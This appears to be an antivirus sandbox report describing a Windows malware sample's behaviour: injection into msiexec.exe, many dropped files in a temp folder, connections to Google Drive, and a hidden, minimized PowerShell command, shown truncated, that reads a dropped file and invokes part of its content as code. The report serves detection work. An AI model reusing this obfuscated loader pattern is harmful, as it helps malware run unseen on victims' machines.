Technical Information
Malicious functions
Injects code into
the following system processes:
- %WINDIR%\syswow64\msiexec.exe
Modifies file system
Creates the following files
- %TEMP%\nsn7298.tmp
- %TEMP%\yogis\apoteksassistenterne\memorialise.skj
- %TEMP%\yogis\apoteksassistenterne\loyalness135.nat
- %TEMP%\yogis\apoteksassistenterne\brostens.for
- %TEMP%\yogis\apoteksassistenterne\fantasia.mal
- %TEMP%\yogis\apoteksassistenterne\gigantisk.txt
- %TEMP%\yogis\apoteksassistenterne\hamburgs.tru
- %TEMP%\yogis\apoteksassistenterne\longwinded.qua
- %TEMP%\yogis\apoteksassistenterne\omspndt.rin
- %TEMP%\yogis\apoteksassistenterne\prutten194.ing
- %TEMP%\yogis\apoteksassistenterne\underadjusting.bon
- %TEMP%\yogis\apoteksassistenterne\aftvttelser.sur
- %TEMP%\yogis\apoteksassistenterne\subradicness135\bisonerne.afs
- %TEMP%\yogis\apoteksassistenterne\subradicness135\brisque.vol
- %TEMP%\yogis\apoteksassistenterne\subradicness135\cellarette.jpg
- %TEMP%\yogis\apoteksassistenterne\subradicness135\hugins.non
- %TEMP%\yogis\apoteksassistenterne\subradicness135\interimskvitteringens.mak
- %TEMP%\yogis\apoteksassistenterne\subradicness135\kbsvanerne.thu
- %TEMP%\yogis\apoteksassistenterne\subradicness135\klitterne.equ
- %TEMP%\yogis\apoteksassistenterne\subradicness135\kollaboreret.tal
- %TEMP%\yogis\apoteksassistenterne\subradicness135\naturresourcer.tra
- %TEMP%\yogis\apoteksassistenterne\subradicness135\nephroptosia.txt
- %TEMP%\yogis\apoteksassistenterne\subradicness135\nervelessly.non
- %TEMP%\yogis\apoteksassistenterne\subradicness135\noninterposition.jpg
- %TEMP%\yogis\apoteksassistenterne\subradicness135\optakten.ini
- %TEMP%\yogis\apoteksassistenterne\subradicness135\pladsernes.cor
- %TEMP%\yogis\apoteksassistenterne\subradicness135\requisite.rod
- %TEMP%\yogis\apoteksassistenterne\subradicness135\ridebanespringning.jpg
- %TEMP%\yogis\apoteksassistenterne\subradicness135\skiltet.nep
- %TEMP%\yogis\apoteksassistenterne\subradicness135\snotforklet.kon
- %TEMP%\yogis\apoteksassistenterne\subradicness135\spytkirtlers.blo
- %TEMP%\yogis\apoteksassistenterne\subradicness135\statuslinien.pen
- %TEMP%\yogis\apoteksassistenterne\subradicness135\terapiassistenten.spr
- %TEMP%\yogis\apoteksassistenterne\subradicness135\trihemiobolion.ext
- %TEMP%\yogis\apoteksassistenterne\subradicness135\underopdele.tem
- %TEMP%\yogis\apoteksassistenterne\subradicness135\vandret.rke
- %TEMP%\application setting.ini
- %TEMP%\yogis\apoteksassistenterne\subradicness135\<File name>.exe
Network activity
Connects to
- 'co##############e-chains.prod.autograph.services.mozaws.net':443
- 'drive.google.com':443
- 'drive.usercontent.google.com':443
TCP
HTTP GET requests
- http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?ca##############
Other
- 'drive.google.com':443
- 'drive.usercontent.google.com':443
UDP
- DNS ASK co##############e-chains.prod.autograph.services.mozaws.net
- DNS ASK drive.google.com
- DNS ASK drive.usercontent.google.com
Miscellaneous
Searches for the following windows
- ClassName: '#32770' WindowName: ''
Executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -windowstyle minimized "$Kloakeringsbeslutningerne=gc -Raw '%TEMP%\yogis\apoteksassistenterne\Loyalness135.nat';$cortexes=$Kloakeringsbeslutningerne.SubString(55527,3);$Modenhed++; .$cortexes(...
- '%WINDIR%\syswow64\msiexec.exe'
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -windowstyle minimized "$Kloakeringsbeslutningerne=gc -Raw '%TEMP%\yogis\apoteksassistenterne\Loyalness135.nat';$cortexes=$Kloakeringsbeslutningerne.SubString(55527,3);$Modenhed++; .$cortexes(...' (with hidden window)
